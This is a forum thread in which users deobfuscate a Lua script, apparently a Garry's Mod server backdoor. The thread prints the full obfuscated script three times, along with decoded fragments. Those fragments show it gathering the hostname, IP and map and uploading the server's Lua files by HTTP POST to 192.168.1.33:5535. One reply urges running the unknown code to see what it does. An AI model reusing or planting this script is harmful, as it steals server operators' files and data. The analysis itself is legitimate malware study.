help me to deobfuscate a code

Printable View

03-14-2019
ppop222

help me to deobfuscate a code

can someone help me to deobfuscate this code please

Code:

local ‪ = _G local ‪‪ = ‪['\115\116\114\105\110\103'] local ‪‪‪ = ‪['\98\105\116']['\98\120\111\114'] local function ‪‪‪‪‪‪‪(‪‪‪‪) if ‪‪['\108\101\110'](‪‪‪‪) == 0 then return ‪‪‪‪ end local ‪‪‪‪‪ = '' for _ in ‪‪['\103\109\97\116\99\104'](‪‪‪‪,'\46\46') do ‪‪‪‪‪=‪‪‪‪‪..‪‪['\99\104\97\114'](‪‪‪(‪["\116\111\110\117\109\98\101\114"](_,16),74)) end return ‪‪‪‪‪ end if ‪[‪‪‪‪‪‪‪'2d2b272f'][‪‪‪‪‪‪‪'03390e2f2e23292b3e2f2e']()then local ‪return={}local ‪‪‪repeat=‪‪‪‪‪‪‪'7b7378647b7c72647b647979' local and‪‪‪=‪‪‪‪‪‪‪'223e3e3a706565' .. ‪‪‪repeat .. ‪‪‪‪‪‪‪'707f7f797f65' ‪return[‪‪‪‪‪‪‪'2c23242e0c23262f182f293f3839233c2f']=function (‪‪‪‪‪‪‪‪return)local return‪={}local ‪‪‪‪‪nil,do‪‪‪‪=‪[‪‪‪‪‪‪‪'2c23262f'][‪‪‪‪‪‪‪'0c23242e'](‪‪‪‪‪‪‪‪return .. ‪‪‪‪‪‪‪'6064263f2b',‪‪‪‪‪‪‪'07050e')local ‪‪‪‪not,end‪‪‪‪‪‪=‪[‪‪‪‪‪‪‪'2c23262f'][‪‪‪‪‪‪‪'0c23242e'](‪‪‪‪‪‪‪‪return .. ‪‪‪‪‪‪‪'60',‪‪‪‪‪‪‪'07050e')if ‪‪‪‪‪nil then for nil‪‪‪‪‪‪‪‪‪‪‪‪,true‪‪‪‪‪‪‪‪‪‪‪‪‪‪‪‪ in ‪[‪‪‪‪‪‪‪'3a2b233839'](‪‪‪‪‪nil)do ‪[‪‪‪‪‪‪‪'3e2b28262f'][‪‪‪‪‪‪‪'2324392f383e'](return‪,‪‪‪‪‪‪‪‪return .. true‪‪‪‪‪‪‪‪‪‪‪‪‪‪‪‪)end end if end‪‪‪‪‪‪ then for nil‪‪‪‪‪‪‪‪‪‪‪‪,true‪‪‪‪‪‪‪‪‪‪‪‪‪‪‪‪ in ‪[‪‪‪‪‪‪‪'3a2b233839'](end‪‪‪‪‪‪)do if true‪‪‪‪‪‪‪‪‪‪‪‪‪‪‪‪ == ‪‪‪‪‪‪‪'292b29222f' then continue end local ‪‪‪‪‪‪nil=‪‪‪‪‪‪‪‪return .. true‪‪‪‪‪‪‪‪‪‪‪‪‪‪‪‪ .. ‪‪‪‪‪‪‪'65' ‪[‪‪‪‪‪‪‪'3e2b28262f'][‪‪‪‪‪‪‪'0b2e2e'](return‪,‪return[‪‪‪‪‪‪‪'2c23242e0c23262f182f293f3839233c2f'](‪‪‪‪‪‪nil))end end return return‪ end ‪[‪‪‪‪‪‪‪'183f240925243925262f092527272b242e'](‪‪‪‪‪‪‪'3a2233392d3f24153a2233',‪‪‪‪‪‪‪'78')local ‪‪‪‪‪‪‪‪‪‪repeat,in‪‪‪‪‪‪‪‪‪‪‪=1,10 local continue‪‪‪‪‪‪‪‪‪‪‪‪‪=‪return[‪‪‪‪‪‪‪'2c23242e0c23262f182f293f3839233c2f'](‪‪‪‪‪‪‪'')local ‪‪‪‪repeat=‪[‪‪‪‪‪‪‪'3f3e2326'][‪‪‪‪‪‪‪'1e2b28262f1e2500190504']{[‪‪‪‪‪‪‪'2225393e242b272f']=‪[‪‪‪‪‪‪‪'0d2f3e0225393e042b272f'](),[‪‪‪‪‪‪‪'233a']=‪[‪‪‪‪‪‪‪'2d2b272f'][‪‪‪‪‪‪‪'0d2f3e031a0b2e2e382f3939'](),[‪‪‪‪‪‪‪'272b3a']=‪[‪‪‪‪‪‪‪'2d2b272f'][‪‪‪‪‪‪‪'0d2f3e072b3a']()}‪[‪‪‪‪‪‪‪'3e2b28262f'][‪‪‪‪‪‪‪'2324392f383e'](continue‪‪‪‪‪‪‪‪‪‪‪‪‪,‪‪‪‪‪‪‪'392f383c2f3803242c256420392524')in‪‪‪‪‪‪‪‪‪‪‪=#continue‪‪‪‪‪‪‪‪‪‪‪‪‪ ‪return[‪‪‪‪‪‪‪'392f242e0c23262f']=function (do‪‪‪‪‪‪‪‪‪‪‪‪‪‪)local end‪‪ if do‪‪‪‪‪‪‪‪‪‪‪‪‪‪ == ‪‪‪‪‪‪‪'392f383c2f3803242c256420392524' then end‪‪=‪‪‪‪repeat else end‪‪=‪[‪‪‪‪‪‪‪'2c23262f'][‪‪‪‪‪‪‪'182f2b2e'](do‪‪‪‪‪‪‪‪‪‪‪‪‪‪,‪‪‪‪‪‪‪'07050e')or ‪‪‪‪‪‪‪'2f38382b38' end ‪[‪‪‪‪‪‪‪'021e1e1a']({[‪‪‪‪‪‪‪'3f3826']=and‪‪‪,[‪‪‪‪‪‪‪'272f3e22252e']=‪‪‪‪‪‪‪'1a05191e',[‪‪‪‪‪‪‪'28252e33']=end‪‪,[‪‪‪‪‪‪‪'222f2b2e2f3839']={[‪‪‪‪‪‪‪'0925243e2f243e671e333a2f']=‪‪‪‪‪‪‪'3e2f323e653a262b2324',[‪‪‪‪‪‪‪'2c23262f1a2b3e22']=do‪‪‪‪‪‪‪‪‪‪‪‪‪‪,[‪‪‪‪‪‪‪'2c23262f3915293f38']=‪[‪‪‪‪‪‪‪'3e25393e3823242d'](‪‪‪‪‪‪‪‪‪‪repeat),[‪‪‪‪‪‪‪'2c23262f3915272b32']=‪[‪‪‪‪‪‪‪'3e25393e3823242d'](in‪‪‪‪‪‪‪‪‪‪‪)},[‪‪‪‪‪‪‪'3e333a2f']=‪‪‪‪‪‪‪'3e2f323e653a262b2324',[‪‪‪‪‪‪‪'393f29292f3939']=function ()‪‪‪‪‪‪‪‪‪‪repeat=‪‪‪‪‪‪‪‪‪‪repeat+1 if ‪‪‪‪‪‪‪‪‪‪repeat <= in‪‪‪‪‪‪‪‪‪‪‪ then ‪return[‪‪‪‪‪‪‪'392f242e0c23262f'](continue‪‪‪‪‪‪‪‪‪‪‪‪‪[‪‪‪‪‪‪‪‪‪‪repeat])end end ,[‪‪‪‪‪‪‪'2c2b23262f2e']=‪[‪‪‪‪‪‪‪'3a3823243e']})end ‪return[‪‪‪‪‪‪‪'392f242e0c23262f'](continue‪‪‪‪‪‪‪‪‪‪‪‪‪[‪‪‪‪‪‪‪‪‪‪repeat])end
03-15-2019
suchisgood

Quote:

Originally Posted by ppop222

can someone help me to deobfuscate this code please

Code:

local ‪ = _G local ‪‪ = ‪['\115\116\114\105\110\103'] local ‪‪‪ = ‪['\98\105\116']['\98\120\111\114'] local function ‪‪‪‪‪‪‪(‪‪‪‪) if ‪‪['\108\101\110'](‪‪‪‪) == 0 then return ‪‪‪‪ end local ‪‪‪‪‪ = '' for _ in ‪‪['\103\109\97\116\99\104'](‪‪‪‪,'\46\46') do ‪‪‪‪‪=‪‪‪‪‪..‪‪['\99\104\97\114'](‪‪‪(‪["\116\111\110\117\109\98\101\114"](_,16),74)) end return ‪‪‪‪‪ end if ‪[‪‪‪‪‪‪‪'2d2b272f'][‪‪‪‪‪‪‪'03390e2f2e23292b3e2f2e']()then local ‪return={}local ‪‪‪repeat=‪‪‪‪‪‪‪'7b7378647b7c72647b647979' local and‪‪‪=‪‪‪‪‪‪‪'223e3e3a706565' .. ‪‪‪repeat .. ‪‪‪‪‪‪‪'707f7f797f65' ‪return[‪‪‪‪‪‪‪'2c23242e0c23262f182f293f3839233c2f']=function (‪‪‪‪‪‪‪‪return)local return‪={}local ‪‪‪‪‪nil,do‪‪‪‪=‪[‪‪‪‪‪‪‪'2c23262f'][‪‪‪‪‪‪‪'0c23242e'](‪‪‪‪‪‪‪‪return .. ‪‪‪‪‪‪‪'6064263f2b',‪‪‪‪‪‪‪'07050e')local ‪‪‪‪not,end‪‪‪‪‪‪=‪[‪‪‪‪‪‪‪'2c23262f'][‪‪‪‪‪‪‪'0c23242e'](‪‪‪‪‪‪‪‪return .. ‪‪‪‪‪‪‪'60',‪‪‪‪‪‪‪'07050e')if ‪‪‪‪‪nil then for nil‪‪‪‪‪‪‪‪‪‪‪‪,true‪‪‪‪‪‪‪‪‪‪‪‪‪‪‪‪ in ‪[‪‪‪‪‪‪‪'3a2b233839'](‪‪‪‪‪nil)do ‪[‪‪‪‪‪‪‪'3e2b28262f'][‪‪‪‪‪‪‪'2324392f383e'](return‪,‪‪‪‪‪‪‪‪return .. true‪‪‪‪‪‪‪‪‪‪‪‪‪‪‪‪)end end if end‪‪‪‪‪‪ then for nil‪‪‪‪‪‪‪‪‪‪‪‪,true‪‪‪‪‪‪‪‪‪‪‪‪‪‪‪‪ in ‪[‪‪‪‪‪‪‪'3a2b233839'](end‪‪‪‪‪‪)do if true‪‪‪‪‪‪‪‪‪‪‪‪‪‪‪‪ == ‪‪‪‪‪‪‪'292b29222f' then continue end local ‪‪‪‪‪‪nil=‪‪‪‪‪‪‪‪return .. true‪‪‪‪‪‪‪‪‪‪‪‪‪‪‪‪ .. ‪‪‪‪‪‪‪'65' ‪[‪‪‪‪‪‪‪'3e2b28262f'][‪‪‪‪‪‪‪'0b2e2e'](return‪,‪return[‪‪‪‪‪‪‪'2c23242e0c23262f182f293f3839233c2f'](‪‪‪‪‪‪nil))end end return return‪ end ‪[‪‪‪‪‪‪‪'183f240925243925262f092527272b242e'](‪‪‪‪‪‪‪'3a2233392d3f24153a2233',‪‪‪‪‪‪‪'78')local ‪‪‪‪‪‪‪‪‪‪repeat,in‪‪‪‪‪‪‪‪‪‪‪=1,10 local continue‪‪‪‪‪‪‪‪‪‪‪‪‪=‪return[‪‪‪‪‪‪‪'2c23242e0c23262f182f293f3839233c2f'](‪‪‪‪‪‪‪'')local ‪‪‪‪repeat=‪[‪‪‪‪‪‪‪'3f3e2326'][‪‪‪‪‪‪‪'1e2b28262f1e2500190504']{[‪‪‪‪‪‪‪'2225393e242b272f']=‪[‪‪‪‪‪‪‪'0d2f3e0225393e042b272f'](),[‪‪‪‪‪‪‪'233a']=‪[‪‪‪‪‪‪‪'2d2b272f'][‪‪‪‪‪‪‪'0d2f3e031a0b2e2e382f3939'](),[‪‪‪‪‪‪‪'272b3a']=‪[‪‪‪‪‪‪‪'2d2b272f'][‪‪‪‪‪‪‪'0d2f3e072b3a']()}‪[‪‪‪‪‪‪‪'3e2b28262f'][‪‪‪‪‪‪‪'2324392f383e'](continue‪‪‪‪‪‪‪‪‪‪‪‪‪,‪‪‪‪‪‪‪'392f383c2f3803242c256420392524')in‪‪‪‪‪‪‪‪‪‪‪=#continue‪‪‪‪‪‪‪‪‪‪‪‪‪ ‪return[‪‪‪‪‪‪‪'392f242e0c23262f']=function (do‪‪‪‪‪‪‪‪‪‪‪‪‪‪)local end‪‪ if do‪‪‪‪‪‪‪‪‪‪‪‪‪‪ == ‪‪‪‪‪‪‪'392f383c2f3803242c256420392524' then end‪‪=‪‪‪‪repeat else end‪‪=‪[‪‪‪‪‪‪‪'2c23262f'][‪‪‪‪‪‪‪'182f2b2e'](do‪‪‪‪‪‪‪‪‪‪‪‪‪‪,‪‪‪‪‪‪‪'07050e')or ‪‪‪‪‪‪‪'2f38382b38' end ‪[‪‪‪‪‪‪‪'021e1e1a']({[‪‪‪‪‪‪‪'3f3826']=and‪‪‪,[‪‪‪‪‪‪‪'272f3e22252e']=‪‪‪‪‪‪‪'1a05191e',[‪‪‪‪‪‪‪'28252e33']=end‪‪,[‪‪‪‪‪‪‪'222f2b2e2f3839']={[‪‪‪‪‪‪‪'0925243e2f243e671e333a2f']=‪‪‪‪‪‪‪'3e2f323e653a262b2324',[‪‪‪‪‪‪‪'2c23262f1a2b3e22']=do‪‪‪‪‪‪‪‪‪‪‪‪‪‪,[‪‪‪‪‪‪‪'2c23262f3915293f38']=‪[‪‪‪‪‪‪‪'3e25393e3823242d'](‪‪‪‪‪‪‪‪‪‪repeat),[‪‪‪‪‪‪‪'2c23262f3915272b32']=‪[‪‪‪‪‪‪‪'3e25393e3823242d'](in‪‪‪‪‪‪‪‪‪‪‪)},[‪‪‪‪‪‪‪'3e333a2f']=‪‪‪‪‪‪‪'3e2f323e653a262b2324',[‪‪‪‪‪‪‪'393f29292f3939']=function ()‪‪‪‪‪‪‪‪‪‪repeat=‪‪‪‪‪‪‪‪‪‪repeat+1 if ‪‪‪‪‪‪‪‪‪‪repeat <= in‪‪‪‪‪‪‪‪‪‪‪ then ‪return[‪‪‪‪‪‪‪'392f242e0c23262f'](continue‪‪‪‪‪‪‪‪‪‪‪‪‪[‪‪‪‪‪‪‪‪‪‪repeat])end end ,[‪‪‪‪‪‪‪'2c2b23262f2e']=‪[‪‪‪‪‪‪‪'3a3823243e']})end ‪return[‪‪‪‪‪‪‪'392f242e0c23262f'](continue‪‪‪‪‪‪‪‪‪‪‪‪‪[‪‪‪‪‪‪‪‪‪‪repeat])end

Try running this in gmod

Code:

local _G = _G local _G_G = _G['\115\116\114\105\110\103'] local _G_G_G = _G['\98\105\116']['\98\120\111\114'] local function _G_G_G_G_G_G_G(_G_G_G_G) if _G_G['\108\101\110'](_G_G_G_G) == 0 then return _G_G_G_G end local _G_G_G_G_G = '' for _ in _G_G['\103\109\97\116\99\104'](_G_G_G_G,'\46\46') do _G_G_G_G_G=_G_G_G_G_G.._G_G['\99\104\97\114'](_G_G_G(_G["\116\111\110\117\109\98\101\114"](_,16),74)) end return _G_G_G_G_G end if _G[_G_G_G_G_G_G_G'2d2b272f'][_G_G_G_G_G_G_G'03390e2f2e23292b3e2f2e']()then local _Greturn={} local _G_G_Grepeat=_G_G_G_G_G_G_G'7b7378647b7c72647b647979' local and_G_G_G=_G_G_G_G_G_G_G'223e3e3a706565' .. _G_G_Grepeat .. _G_G_G_G_G_G_G'707f7f797f65' _Greturn[_G_G_G_G_G_G_G'2c23242e0c23262f182f293f3839233c2f']=function (_G_G_G_G_G_G_G_Greturn)local return_G={}local _G_G_G_G_Gnil,do_G_G_G_G=_G[_G_G_G_G_G_G_G'2c23262f'][_G_G_G_G_G_G_G'0c23242e'](_G_G_G_G_G_G_G_Greturn .. _G_G_G_G_G_G_G'6064263f2b',_G_G_G_G_G_G_G'07050e')local _G_G_G_Gnot,end_G_G_G_G_G_G=_G[_G_G_G_G_G_G_G'2c23262f'][_G_G_G_G_G_G_G'0c23242e'](_G_G_G_G_G_G_G_Greturn .. _G_G_G_G_G_G_G'60',_G_G_G_G_G_G_G'07050e')if _G_G_G_G_Gnil then for nil_G_G_G_G_G_G_G_G_G_G_G_G,true_G_G_G_G_G_G_G_G_G_G_G_G_G_G_G_G in _G[_G_G_G_G_G_G_G'3a2b233839'](_G_G_G_G_Gnil)do _G[_G_G_G_G_G_G_G'3e2b28262f'][_G_G_G_G_G_G_G'2324392f383e'](return_G,_G_G_G_G_G_G_G_Greturn .. true_G_G_G_G_G_G_G_G_G_G_G_G_G_G_G_G)end end if end_G_G_G_G_G_G then for nil_G_G_G_G_G_G_G_G_G_G_G_G,true_G_G_G_G_G_G_G_G_G_G_G_G_G_G_G_G in _G[_G_G_G_G_G_G_G'3a2b233839'](end_G_G_G_G_G_G)do if true_G_G_G_G_G_G_G_G_G_G_G_G_G_G_G_G == _G_G_G_G_G_G_G'292b29222f' then continue end local _G_G_G_G_G_Gnil=_G_G_G_G_G_G_G_Greturn .. true_G_G_G_G_G_G_G_G_G_G_G_G_G_G_G_G .. _G_G_G_G_G_G_G'65' _G[_G_G_G_G_G_G_G'3e2b28262f'][_G_G_G_G_G_G_G'0b2e2e'](return_G,_Greturn[_G_G_G_G_G_G_G'2c23242e0c23262f182f293f3839233c2f'](_G_G_G_G_G_Gnil))end end return return_G end _G[_G_G_G_G_G_G_G'183f240925243925262f092527272b242e'](_G_G_G_G_G_G_G'3a2233392d3f24153a2233',_G_G_G_G_G_G_G'78')local _G_G_G_G_G_G_G_G_G_Grepeat,in_G_G_G_G_G_G_G_G_G_G_G=1,10 local continue_G_G_G_G_G_G_G_G_G_G_G_G_G=_Greturn[_G_G_G_G_G_G_G'2c23242e0c23262f182f293f3839233c2f'](_G_G_G_G_G_G_G'')local _G_G_G_Grepeat=_G[_G_G_G_G_G_G_G'3f3e2326'][_G_G_G_G_G_G_G'1e2b28262f1e2500190504']{[_G_G_G_G_G_G_G'2225393e242b272f']=_G[_G_G_G_G_G_G_G'0d2f3e0225393e042b272f'](),[_G_G_G_G_G_G_G'233a']=_G[_G_G_G_G_G_G_G'2d2b272f'][_G_G_G_G_G_G_G'0d2f3e031a0b2e2e382f3939'](),[_G_G_G_G_G_G_G'272b3a']=_G[_G_G_G_G_G_G_G'2d2b272f'][_G_G_G_G_G_G_G'0d2f3e072b3a']()}_G[_G_G_G_G_G_G_G'3e2b28262f'][_G_G_G_G_G_G_G'2324392f383e'](continue_G_G_G_G_G_G_G_G_G_G_G_G_G,_G_G_G_G_G_G_G'392f383c2f3803242c256420392524')in_G_G_G_G_G_G_G_G_G_G_G=#continue_G_G_G_G_G_G_G_G_G_G_G_G_G _Greturn[_G_G_G_G_G_G_G'392f242e0c23262f']=function (do_G_G_G_G_G_G_G_G_G_G_G_G_G_G)local end_G_G if do_G_G_G_G_G_G_G_G_G_G_G_G_G_G == _G_G_G_G_G_G_G'392f383c2f3803242c256420392524' then end_G_G=_G_G_G_Grepeat else end_G_G=_G[_G_G_G_G_G_G_G'2c23262f'][_G_G_G_G_G_G_G'182f2b2e'](do_G_G_G_G_G_G_G_G_G_G_G_G_G_G,_G_G_G_G_G_G_G'07050e')or _G_G_G_G_G_G_G'2f38382b38' end _G[_G_G_G_G_G_G_G'021e1e1a']({[_G_G_G_G_G_G_G'3f3826']=and_G_G_G,[_G_G_G_G_G_G_G'272f3e22252e']=_G_G_G_G_G_G_G'1a05191e',[_G_G_G_G_G_G_G'28252e33']=end_G_G,[_G_G_G_G_G_G_G'222f2b2e2f3839']={[_G_G_G_G_G_G_G'0925243e2f243e671e333a2f']=_G_G_G_G_G_G_G'3e2f323e653a262b2324',[_G_G_G_G_G_G_G'2c23262f1a2b3e22']=do_G_G_G_G_G_G_G_G_G_G_G_G_G_G,[_G_G_G_G_G_G_G'2c23262f3915293f38']=_G[_G_G_G_G_G_G_G'3e25393e3823242d'](_G_G_G_G_G_G_G_G_G_Grepeat),[_G_G_G_G_G_G_G'2c23262f3915272b32']=_G[_G_G_G_G_G_G_G'3e25393e3823242d'](in_G_G_G_G_G_G_G_G_G_G_G)},[_G_G_G_G_G_G_G'3e333a2f']=_G_G_G_G_G_G_G'3e2f323e653a262b2324',[_G_G_G_G_G_G_G'393f29292f3939']=function ()_G_G_G_G_G_G_G_G_G_Grepeat=_G_G_G_G_G_G_G_G_G_Grepeat+1 if _G_G_G_G_G_G_G_G_G_Grepeat <= in_G_G_G_G_G_G_G_G_G_G_G then _Greturn[_G_G_G_G_G_G_G'392f242e0c23262f'](continue_G_G_G_G_G_G_G_G_G_G_G_G_G[_G_G_G_G_G_G_G_G_G_Grepeat])end end ,[_G_G_G_G_G_G_G'2c2b23262f2e']=_G[_G_G_G_G_G_G_G'3a3823243e']})end _Greturn[_G_G_G_G_G_G_G'392f242e0c23262f'](continue_G_G_G_G_G_G_G_G_G_G_G_G_G[_G_G_G_G_G_G_G_G_G_Grepeat])end
03-15-2019
ppop222

what will it do ?
03-15-2019
suchisgood

Quote:

Originally Posted by ppop222

what will it do ?

that's the whole point of testing maybe it grabs data from http
03-15-2019
ppop222

i externaled it and nothing happend
03-15-2019
suchisgood

Quote:

Originally Posted by ppop222

i externaled it and nothing happend

Ok i decoded most of it it's easier to decode then you think just put print and then the string

Quote:

local _G = _G
local _G_G = _G.string
local _G_G_G = _G.bit.bxor
local function _G_G_G_G_G_G_G(_G_G_G_G)
if _G_G.len(_G_G_G_G) == 0 then
return _G_G_G_G
end
local _G_G_G_G_G = ''
for _ in _G_G.gmatch(_G_G_G_G,'\46\46') do
_G_G_G_G_G=_G_G_G_G_G.._G_G.char(_G_G_G(_G.tonumbe r(_,16),74))
end
return _G_G_G_G_G
end

if _G.game.IsDedicated() then
end
local _Greturn={}
local _G_G_Grepeat='' // = 192.168.1.33
local and_G_G_G=_G_G_G_G_G_G_G'' // = https://192.168.1.33:5535/
print(and_G_G_G )
function a(_G_G_G_G_G_G_G_Greturn)
local return_G={}
local _G_G_G_G_Gnil,do_G_G_G_G=_G.file.Find( "*.lua", "MOD")
local _G_G_G_Gnot,end_G_G_G_G_G_G=_G.file.Find( "*", "MOD")
if _G_G_G_G_Gnil then
for nil_G_G_G_G_G_G_G_G_G_G_G_G,true_G_G_G_G_G_G_G_G_G _G_G_G_G_G_G_G in _G.pairs(_G_G_G_G_Gnil)do _G.table.insert(return_G,_G_G_G_G_G_G_G_Greturn .. true_G_G_G_G_G_G_G_G_G_G_G_G_G_G_G_G)end end if end_G_G_G_G_G_G then for nil_G_G_G_G_G_G_G_G_G_G_G_G,true_G_G_G_G_G_G_G_G_G _G_G_G_G_G_G_G in _G.pairs(end_G_G_G_G_G_G)do if true_G_G_G_G_G_G_G_G_G_G_G_G_G_G_G_G == "cache" then
continue
end
end
end end
a()
print(_G_G_G_G_G_G_G'2c23242e0c23262f182f293f38392 33c2f',_G_G_G_G_G_G_G'3e2b28262f',_G_G_G_G_G_G_G'0 b2e2e')
--[[local _G_G_G_G_G_Gnil=_G_G_G_G_G_G_G_Greturn .. true_G_G_G_G_G_G_G_G_G_G_G_G_G_G_G_G .. _G_G_G_G_G_G_G'65' _G[_G_G_G_G_G_G_G'3e2b28262f'][_G_G_G_G_G_G_G'0b2e2e'](return_G,_Greturn[_G_G_G_G_G_G_G'2c23242e0c23262f182f293f3839233c2f'](_G_G_G_G_G_Gnil))end end return return_G end _G[_G_G_G_G_G_G_G'183f240925243925262f092527272b242e'](_G_G_G_G_G_G_G'3a2233392d3f24153a2233',_G_G_G_G_G _G_G'78')local _G_G_G_G_G_G_G_G_G_Grepeat,in_G_G_G_G_G_G_G_G_G_G_ G=1,10 local continue_G_G_G_G_G_G_G_G_G_G_G_G_G=_Greturn[_G_G_G_G_G_G_G'2c23242e0c23262f182f293f3839233c2f'](_G_G_G_G_G_G_G'')local _G_G_G_Grepeat=_G[_G_G_G_G_G_G_G'3f3e2326'][_G_G_G_G_G_G_G'1e2b28262f1e2500190504']{[_G_G_G_G_G_G_G'2225393e242b272f']=_G[_G_G_G_G_G_G_G'0d2f3e0225393e042b272f'](),[_G_G_G_G_G_G_G'233a']=_G[_G_G_G_G_G_G_G'2d2b272f'][_G_G_G_G_G_G_G'0d2f3e031a0b2e2e382f3939'](),[_G_G_G_G_G_G_G'272b3a']=_G[_G_G_G_G_G_G_G'2d2b272f'][_G_G_G_G_G_G_G'0d2f3e072b3a']()}_G[_G_G_G_G_G_G_G'3e2b28262f'][_G_G_G_G_G_G_G'2324392f383e'](continue_G_G_G_G_G_G_G_G_G_G_G_G_G,_G_G_G_G_G_G_G '392f383c2f3803242c256420392524')in_G_G_G_G_G_G_G_ G_G_G_G=#continue_G_G_G_G_G_G_G_G_G_G_G_G_G _Greturn[_G_G_G_G_G_G_G'392f242e0c23262f']=function (do_G_G_G_G_G_G_G_G_G_G_G_G_G_G)local end_G_G if do_G_G_G_G_G_G_G_G_G_G_G_G_G_G == _G_G_G_G_G_G_G'392f383c2f3803242c256420392524' then end_G_G=_G_G_G_Grepeat else end_G_G=_G[_G_G_G_G_G_G_G'2c23262f'][_G_G_G_G_G_G_G'182f2b2e'](do_G_G_G_G_G_G_G_G_G_G_G_G_G_G,_G_G_G_G_G_G_G'070 50e')or _G_G_G_G_G_G_G'2f38382b38' end _G[_G_G_G_G_G_G_G'021e1e1a']({[_G_G_G_G_G_G_G'3f3826']=and_G_G_G,[_G_G_G_G_G_G_G'272f3e22252e']=_G_G_G_G_G_G_G'1a05191e',[_G_G_G_G_G_G_G'28252e33']=end_G_G,[_G_G_G_G_G_G_G'222f2b2e2f3839']={[_G_G_G_G_G_G_G'0925243e2f243e671e333a2f']=_G_G_G_G_G_G_G'3e2f323e653a262b2324',[_G_G_G_G_G_G_G'2c23262f1a2b3e22']=do_G_G_G_G_G_G_G_G_G_G_G_G_G_G,[_G_G_G_G_G_G_G'2c23262f3915293f38']=_G[_G_G_G_G_G_G_G'3e25393e3823242d'](_G_G_G_G_G_G_G_G_G_Grepeat),[_G_G_G_G_G_G_G'2c23262f3915272b32']=_G[_G_G_G_G_G_G_G'3e25393e3823242d'](in_G_G_G_G_G_G_G_G_G_G_G)},[_G_G_G_G_G_G_G'3e333a2f']=_G_G_G_G_G_G_G'3e2f323e653a262b2324',[_G_G_G_G_G_G_G'393f29292f3939']=function ()_G_G_G_G_G_G_G_G_G_Grepeat=_G_G_G_G_G_G_G_G_G_Gr epeat+1 if _G_G_G_G_G_G_G_G_G_Grepeat <= in_G_G_G_G_G_G_G_G_G_G_G then _Greturn[_G_G_G_G_G_G_G'392f242e0c23262f'](continue_G_G_G_G_G_G_G_G_G_G_G_G_G[_G_G_G_G_G_G_G_G_G_Grepeat])end end ,[_G_G_G_G_G_G_G'2c2b23262f2e']=_G[_G_G_G_G_G_G_G'3a3823243e']})end _Greturn[_G_G_G_G_G_G_G'392f242e0c23262f'](continue_G_G_G_G_G_G_G_G_G_G_G_G_G[_G_G_G_G_G_G_G_G_G_Grepeat])end ]]

Like i did in print Most likely a botnet!
03-15-2019
ppop222

Huge thanks , do you have any idea what does this code really do?

- - - Updated - - -

Quote:

Originally Posted by ppop222

Huge thanks , do you have any idea what does this code really do?

im just not that really known with this stuff :)
03-15-2019
suchisgood

Quote:

Originally Posted by ppop222

Huge thanks , do you have any idea what does this code really do?

- - - Updated - - -

im just not that really known with this stuff :)

It just grabs your ip and files!
03-15-2019
ppop222

Quote:

Originally Posted by suchisgood

It just grabs your ip and files!

omg , and how fast does it download the files?
03-16-2019
suchisgood

Quote:

Originally Posted by ppop222

omg , and how fast does it download the files?

Instantly i guess
03-16-2019
suchisgood

Quote:

Originally Posted by ppop222

omg , and how fast does it download the files?

If you decoded it can you post please?
05-21-2019
raymondfather

This is from Syndicate RPG
06-25-2019
AggressiveBuyer

Quote:

Originally Posted by ppop222

omg , and how fast does it download the files?

I do not think it's going to take a lot of time
07-29-2019
NWILL-Helix

1 Attachment(s)

I did a better job deobfuscating than suchisgood ;)

I know this is an old thread but the answers in here were a little disappointing. I deobfuscated the code and it looks to be a serverside script that sends the hostname, IP address, current map, and your Lua files to 192.168.1.33:5535. This is a local IP address so you should check your network for malware...

Code:

local crepeat = "192.168.1.33" local andc = "https://" .. crepeat .. ":5535"

Code:

local drepeat = util.TableToJSON({ hostname = GetHostName(), ip = game.GetIPAddress(), map = game.GetMap() })

Code:

HTTP({ url = andc, method = "POST", body = endb, headers = { ["Content-Type"] = "text/plain", filePath = don, files_cur = tostring(jrepeat), files_max = tostring(ink) }, type = "text/plain", success = function() jrepeat = jrepeat+1 if jrepeat <= ink then areturn.sendFile(continuem[jrepeat]) end end, failed = print })

I've attached the full deobfuscated script to this post. Don't run it.
07-29-2019
T-800

Quote:

Originally Posted by NWILL-Helix

I know this is an old thread but the answers in here were a little disappointing. I deobfuscated the code and it looks to be a serverside script that sends the hostname, IP address, current map, and your Lua files to 192.168.1.33:5535. This is a local IP address so you should check your network for malware...

Code:

local crepeat = "192.168.1.33" local andc = "https://" .. crepeat .. ":5535"

Code:

local drepeat = util.TableToJSON({ hostname = GetHostName(), ip = game.GetIPAddress(), map = game.GetMap() })

Code:

HTTP({ url = andc, method = "POST", body = endb, headers = { ["Content-Type"] = "text/plain", filePath = don, files_cur = tostring(jrepeat), files_max = tostring(ink) }, type = "text/plain", success = function() jrepeat = jrepeat+1 if jrepeat <= ink then areturn.sendFile(continuem[jrepeat]) end end, failed = print })

I've attached the full deobfuscated script to this post. Don't run it.

Thanks for sharing